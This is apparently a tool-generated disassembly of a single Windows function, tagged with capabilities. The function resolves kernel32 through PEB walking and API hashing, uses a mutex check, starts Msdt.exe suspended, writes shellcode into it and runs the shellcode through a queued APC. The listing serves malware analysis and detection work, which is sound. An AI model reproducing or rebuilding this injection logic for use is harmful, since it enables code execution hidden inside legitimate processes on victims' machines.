Function at 0x1400013b0
Capabilities:
Access peb ldr_data
Check mutex on windows
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov r15, rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
movdqu xmmword [rbp - 0x80], xmm0
xor r12d, r12d
mov qword [rbp - 0x70], r12
lea rcx, [rbp - 0x80]
call fcn.140002f20
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov qword [rsp + 0x78], r12
mov rbx, qword [rbp - 0x78]
sub rbx, qword [rbp - 0x80]
je 0x1400014c9
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000186e
cmp rbx, 0x1000
jb 0x14000148c
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001874
call fcn.140004a78
test rax, rax
je 0x14000163a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001497
mov rcx, rbx
call fcn.140004a78
mov rdi, rax
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea rcx, [rdi + rbx]
mov qword [rsp + 0x78], rcx
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
sub rbx, rdx
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
mov qword [rsp + 0x70], rax
lea r8, str.ControlString
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400015fb
lea rcx, [0x140006580]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14d, dword [r15]
test r14d, r14d
je 0x1400015ee
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x20]
test rdi, rdi
je 0x1400015ee
mov r13d, 0x104
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rdi + 0x48]
test ax, ax
je 0x1400015ee
cmp ax, r13w
jae 0x1400015ee
mov ebx, r12d
mov rax, qword [rdi + 0x50]
cmp word [rax], r12w
je 0x140001581
mov rsi, r12
mov rcx, r12
nop word [rax + rax]
movzx ecx, word [rcx + rax]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rbp + rsi + 0x10], al
inc ebx
mov esi, ebx
lea rcx, [rbx + rbx]
mov rax, qword [rdi + 0x50]
cmp word [rcx + rax], 0
jne 0x140001560
mov eax, ebx
cmp rax, r13
jae 0x140001868
mov byte [rbp + rax + 0x10], 0
mov ebx, r12d
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
mov rdx, r12
test eax, eax
je 0x1400015cc
nop dword [rax + rax]
movsx ecx, byte [rbp + rdx + 0x10]
add ecx, ebx
imul ebx, ecx, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
inc rdx
cmp rdx, r8
jne 0x1400015b0
lea ecx, [rbx + rbx*8]
mov eax, ecx
shr eax, 0xb
xor ecx, eax
imul r8d, ecx, 0x8001
cmp r8d, r14d
je 0x140001641
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140001530
lea rcx, str.____Failed_to_get_handle_to_kernel32.dll_n
call fcn.1400018f0
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400017fb
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp + 0x10]
lea rcx, str._nDLL_Name:__s__Hash:_0x_0.8X_n
call fcn.1400018f0
mov rsi, qword [rdi + 0x20]
test rsi, rsi
je 0x1400015ee
lea rcx, str.___Got_handle_to_kernel32.dll_n
call fcn.1400018f0
mov r8d, dword [r15 + 4]
mov rdx, rsi
mov rcx, r15
call fcn.1400011d0
test rax, rax
jne 0x140001686
lea rcx, str.____Failed_to_retrieve_CreateProcessA_address_n
jmp 0x1400015f5
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32Msdt.exe
call rax
test eax, eax
jne 0x1400016d1
lea rcx, str.____Failed_to_create_suspended_process_n
jmp 0x1400015f5
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov r8d, dword [r15 + 8]
mov rdx, rsi
mov rcx, r15
call fcn.1400011d0
mov r8, qword [rsp + 0x70]
sub r8, qword [rsp + 0x68]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov rcx, rbx
call rax
mov r14, rax
test rax, rax
jne 0x140001734
lea rcx, str.____Memory_allocation_failed_n
call fcn.1400018f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400015fb
mov r8d, dword [r15 + 0xc]
mov rdx, rsi
mov rcx, r15
call fcn.1400011d0
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x68]
sub r9, r8
mov qword [rsp + 0x20], r12
mov rdx, r14
mov rcx, rbx
call rax
test eax, eax
jne 0x140001784
lea rcx, str.____Failed_to_write_shellcode_to_target_process_n
call fcn.1400018f0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000171d
mov r8d, dword [r15 + 0x10]
mov rdx, rsi
mov rcx, r15
call fcn.1400011d0
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call rax
test eax, eax
jne 0x1400017c8
lea rcx, str.____Failed_to_queue_APC_n
call fcn.1400018f0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14000171d
mov r8d, dword [r15 + 0x14]
mov rdx, rsi
mov rcx, r15
call fcn.1400011d0
mov rcx, rdi
call rax
lea rcx, str.___APC_Queued_Successfully_n
jmp 0x140001718
call fcn.140004ab4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r12
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140001838
mov rdx, qword [rbp - 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001833
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001833
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ab4
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140004e70
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140004bc4
nop
call fcn.1400018a0
int3
call fcn.140001880
int3